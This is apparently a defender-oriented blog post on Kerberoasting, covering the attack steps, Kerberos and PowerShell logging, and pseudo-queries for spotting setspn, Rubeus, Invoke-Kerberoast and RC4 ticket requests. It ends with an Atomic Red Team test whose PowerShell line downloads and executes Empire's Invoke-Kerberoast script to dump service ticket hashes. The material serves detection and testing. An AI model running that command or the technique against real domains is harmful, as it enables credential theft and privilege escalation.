Marshmallows & Kerberoasting

The roasting process

Kerberoasting is an accessible attack technique because it doesn’t require any special privileges once an initial account is compromised. Any valid domain-joined account can kick things off and make moves toward privilege escalation.

The fundamental steps of Kerberoasting are fairly straightforward:

1. Obtain SPNs by listing one (or all) available
2. Request a ticket for a service based on the SPN results
3. Receive the service ticket encrypted with the hash of the service account password
4. Crack the hash offline to get the plaintext password

In terms of stealth, adversaries have a choice in how they identify the SPN that will be targeted to begin with. Retrieving a list of all SPNs could be risky since it’s considered a fairly uncommon request, especially if it’s from a user who isn’t typically doing administrator-type work. Ideally, an adversary is looking for an attractive SPN (such as a web server or SQL server) that might give them access to more services, or to the data they want to steal. On top of that, offline password cracking frees the adversary from restrictions caused by account lockouts or login attempts being tracked.

SPN requests can return two types of accounts:: computer and user. When it comes to identifying the right target for Kerberoasting, an adversary is much more likely to attempt cracking the hash of a user account vs. a computer account. The reasons for this are simply timeliness and efficiency. Computer accounts are typically given a “randomly” generated, extra-long password since it doesn’t need to be remembered by a human. On the contrary, user accounts typically have shorter, less robust passwords that are more easily cracked.

Attack successful. Now what?

A successful “Kerberoast” results in obtaining the targeted service account’s password, and successfully logging into that account. An adversary’s first step will likely be to identify what privileges (if any) are now available by way of this newly compromised account and determine if this account has access to any other system that might be of interest. For example, a successful Kerberoast against a webserver’s service account would grant the adversary permissions to interact with an associated database.

Visibility, collection, and detection

It’s important to note that Kerberoasting doesn’t occur in a vacuum. The ability to carry out this technique is contingent on an adversary already having access to a compromised account in the domain. Therefore, defenders have numerous opportunities for detection and mitigation well ahead of privilege escalation and lateral movement attempts via Kerberoasting.

In order to effectively test, detect, and alert on Kerberoasting activity, we need to identify the most useful data sources and then subsequently build detections based on the data collected.

Visibility

First we must identify the potential data sources needed to detect Kerberoasting. If you are unsure where to start, look at the Atomic Red Team tests below to gather an idea of the various methods an adversary could use to execute a Kerberoasting attack. MITRE ATT&CK’s data sources can also help you figure out where to start.

Data sources represent the various subjects/topics of information that can be collected by sensors or otherwise reflected in logs. They also include data components that identify specific properties/values of a data source relevant to detecting a given ATT&CK technique or sub-technique.

As a starting point—and with Atomic Red Team tests in mind—we will focus on the following sources:

Active Directory

When trying to detect Kerberoasting, some of the most high-fidelity data sources available are the Kerberos logs from the domain controllers. As these logs are not enabled by default, you must turn them on for all of the domain controllers in an environment. These event logs generate Windows Event IDs 4768 and 4769, which can be used to determine who requested Active Directory credentials and tickets.

Command monitoring

As is almost always the case, command-line arguments are among the best telemetry for observing and detecting adversaries loading malicious tools into your environment, particularly when used in concert with process monitoring and other data sources. Beyond detection, command lines may also serve as pivotal evidence for investigation, especially in cases where something like a PowerShell or cURL command line includes URLs used to host remote content for download and execution.

File monitoring

File events can be correlated with process activity to identify interesting or suspicious processes that create, modify, delete, etc. files in suspicious or unusual locations. It can also be used to catch the low-hanging fruit of default outputs from common open-source tools.

Network traffic

Network connection telemetry is a great source of enrichment data for detecting Ingress Tool Transfer. The best sources of high-fidelity network logs are PCAPs, Netflow and Zeek, due to their verbosity and events logged. While there are limitations in the types of network events collected by Sysmon and EDR, they’re extremely valuable in combination with process and command-line monitoring.

Process monitoring

Process execution and lineage are among the most common sources of telemetry that can be used to detect almost all varieties of malicious activity. Most tools like EDR and Sysmon collect process starts, stops, and parent/child relationships. Correlating that activity with other data sources, such as command-line parameters or network connections, provides additional opportunity to detect adversary behavior.

Script monitoring

Detecting script execution and logging the contents within makes for another invaluable data source. Adversaries leverage scripts to try and evade defenses and bypass controls as they are interpreted and executed within a process context. This effectively leaves many monitoring tools blind. With the addition of AMSI or PowerShell logging, you can gain context into what activity the script was intended for.

Collection

Domain Controller event logs

Critical to the detection of potential Kerberoasting activity is the acquisition of the relevant logs themselves. By default, Windows does not automatically log the success or failure of Kerberos operations, so they must be manually enabled. We recommend enabling Kerberos auditing on all Domain Controllers (DC) via Group Policy Object (GPO). Additionally, you can enable LDAP debug logging for verbose logging of LDAP queries, which will be leveraged during any request for SPNs. However, this may result in additional resource usage when enabled, so proceed with caution.

Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Account Logon
– Audit Kerberos Authentication Service: Success and Failure
– Audit Kerberos Service Ticket Operations: Success and Failure

While Kerberos event logs are one of the best sources for detecting Kerberoasting events, there is much to be gleaned from tool usage as well. We have seen countless adversaries leverage off-the-shelf, unmodified open source tools executed with default parameters on compromised endpoints. While it is trivial to alter the normal characteristics and behavior of these tools, detecting default tool usage is still a surprisingly viable method of catching low-hanging fruit.

Windows’ built-in event viewer can make it difficult to do correlation or basic alerting. We recommend forwarding these logs to some form of a SIEM, which will provide more capability for advanced searching and detection.

Sysmon

Per Microsoft’s documentation, Sysmon is a Windows system service and driver, which collects detailed information about process creation and utilizes XML files for configuration that enables fine-grain tuning of events. Each event collects a trove of fields that can aid detection. Below are a few examples:

Event ID 1: Process creation

• Host
• User
• ParentProcess
• ProcessName
• CommandLine
• ProcessID
• ProcessGuid
• OriginalFileName

Event ID 3: Network connection or Event ID 22: DNS event

• Host
• ProcessName
• Query
• ProcessID
• ProcessGuid

Event ID 11: File create

• Host
• ProcessName
• FilePath
• ProcessID
• ProcessGuid

PowerShell

PowerShell consistently ranks toward the top of the list of our most prevalent adversary techniques in our annual Threat Detection Report. Since there is a great breakdown in the report regarding PowerShell collection, we will briefly outline below.

PowerShell logging is not enabled by default and has the potential to generate a tremendous amount of data. We recommend determining the potential ingest volume before ingesting all of it into a SIEM.

Transcript logging

Transcript logging provides the input and output of what is typed into an interactive instance of PowerShell. This enables defenders the ability to see the commands were executed, as well as the subsequent output that was returned.

Script Block logging

When enabled, this event will generate Event ID 4104. The output of the event provides the raw script that was executed via command line or a different means of execution.

Module logging

Module logging records portions of scripts or commands executed that call built-in module functions, such as: System.IdentityModel.Tokens.KerberosRequestorSecurityToken

While it may not provide a full picture like Script Block Logging, it is still a useful data source for identifying living off the land techniques. Module logging will generate Event ID 4103.

Network traffic analysis

Since Kerberos is a network-based authentication protocol, it is also possible to detect Kerberoasting and other Kerberos-based attacks at the network level. However, it does require more overhead than traditional logging methods. If you have or can implement a tool like Zeek, you can leverage it as a data source in addition to Windows Event logs and PowerShell logging.

Zeek has built-in protocol support for Kerberos. which makes it suitable to leverage for detection. Monitoring the kerberos.log file for authentication attempts involving an SPN using a service account will provide defenders with a starting point for an investigation.

Detection

Defense-in-depth is an important characteristic of any security posture. Windows event logs provide a core data source for detecting Kerberoasting, however, we often see adversaries use tools on compromised endpoints to continue the attack life cycle.

While detecting tool execution on a compromised endpoint can help with our detection depth, we do not recommend solely detecting tool usage. Adversaries can easily obfuscate command-line arguments, change the binary name or execute via another method. Here are a handful of detection opportunities using pseudo-analytics that you can use for Kerberoasting.

PowerShell SPN

Consider it suspicious to see an unusually high number of Kerberos Ticket Requests in a short timeframe from the same endpoint. This would be especially suspicious if it was happening from a standard user’s workstation. Requests for services without a corresponding TGT, or other anomalous behavior are good indicators that require a thorough investigation.

Command-line execution:

process_name == powershell.exe

&&

command_line_includes (System.IdentityModel.Tokens.KerberosRequestorSecurityToken)

Pseudo queries:

windows_eventID == 4103

||

windows_eventID == 4104

&&

System.IdentityModel.Tokens.KerberosRequestorSecurityToken

sourcetype == powershell:transcript

&&

System.IdentityModel.Tokens.KerberosRequestorSecurityToken

SetSPN

setspn.exe is a built-in Windows utility for managing SPNs, and is used to view, add, modify or delete entries. In the case of Kerberoasting, SetSPN can be used to list all existing SPNs in a domain by using a specific command-line flag.

process_name == setspn.exe

&&

command_line_includes (-T || -Q)

Ideally, this is used in conjunction with other detection methods to ensure you’re receiving high-fidelity alerts. The Splunk Research Team has an additional query that can be leveraged to identify discovery of SPNs using the built-in Windows tool.

RC4 ticket requests

A common detection opportunity is observing requests for SPNs utilizing the RC4 encryption type. Since RC4 is a weaker encryption method, adversaries may try using it to request tickets as it is generally faster to crack the hash offline. Using Windows event logs, look for the following:

windows_eventID == 4769

&&

ticket_options == (0x40810000 || 0x40800000 || 0x40810010)

&&

encryption_type == (0x17)

Ticket options determine the bit flags that indicate the ticket’s attributes, which is key for determining what access and capabilities the ticket could grant an adversary.

0x17 is the Encryption Type specified for RC4. However, even if RC4 is disabled and newer accounts and services use AES, Kerberoasting will still work. This just makes the cracking of the hashes potentially more difficult due to the stronger encryption method. You can also apply the same detection concepts using the Encryption Type of 0x12, which is the code for AES256.

The Splunk Threat Research Team has some great detection guidance to get started. Even if you don’t use Splunk as your SIEM or log management, the concepts are easily transferable to other platforms:

• Kerberoasting SPN request with RC4 encryption
• Unusual number of Kerberos service tickets requested

If you don’t know how to convert the Splunk Processing Language (SPL) queries to another platform, you can use Uncoder, a free online converter which attempts to convert various platform queries to other platform syntax. While it may not be perfect 1:1 mapping, it is a good place to start.

Rubeus

Rubeus is an extremely powerful and versatile tool primarily used for interacting with Kerberos. It can also be used as a standalone tool or executed in-memory by command and control (C2) frameworks like Covenant that support in-line execution of .NET assemblies.

By default, Rubeus’s kerberoast command takes care of the hard work by requesting the proper service ticket and attempt to roast all SPNs that are available.

While Rubeus has many different functionalities that can be easily invoked using a series of command-line flags, we’ll highlight just a few that are specific to Kerberoasting techniques in inform more detection opportunities:

process_name == rubeus.exe

&&

command_line_includes (kerberoast || tgtdeleg || rc4opsec)

The tgtdeleg flag triggers Ticket Granting to force the request of RC4 encrypted tickets, instead of AES.

We also have the rc4opsec flag. There’s a subtle difference in these two flags: one requests service tickets for accounts that have RC4 as the specified encryption type, while the other performs the same operations but for accounts without AES explicitly enabled. This provides more opportunities to request SPNs with weaker encryption types.

PowerShell: Invoke-kerberoast module

The Invoke-kerberoast module is just one of many readily available PowerShell modules. This module will request tickets for all potential Kerberoasting targets and output the hash. This detection mechanic leverages module logging and script block logging, denoted by Windows Event IDs 4103 and 4104.

windows_eventID == 4103

||

windows_eventID == 4104

&&

script_contains (invoke-kerberoast)

A note on C2

Some C2 frameworks, such as Cobalt Strike, provide the ability to execute assemblies within a process’s memory space, which would bypass logging of command-line parameters and make EDR or Sysmon telemetry suddenly a lot less useful. Other frameworks, like Covenant and Empire, provide built-in modules for Kerboasting such as Rubeus and Invoke-Keroasting, respectively. As these tools can bypass process-based detections, additional data sources such as network, Windows event logs and script monitoring are crucial.

Testing with Atomic Red Team

Test your defenses against Kerberoasting using Atomic Red Team—an open source testing framework of small, highly portable detection tests mapped to MITRE ATT&CK.

Getting started

View atomic tests for T1558.003: Kerberoasting. In most environments, these should be sufficient to generate a useful signal for defenders.

Run this test on a Windows system using PowerShell:

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/EmpireProject/Empire/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/credentials/Invoke-Kerberoast.ps1 -UseBasicParsing)
Invoke-Kerberoast | fl

What to expect

The above test will generate a list of available services and their hashes.

Useful telemetry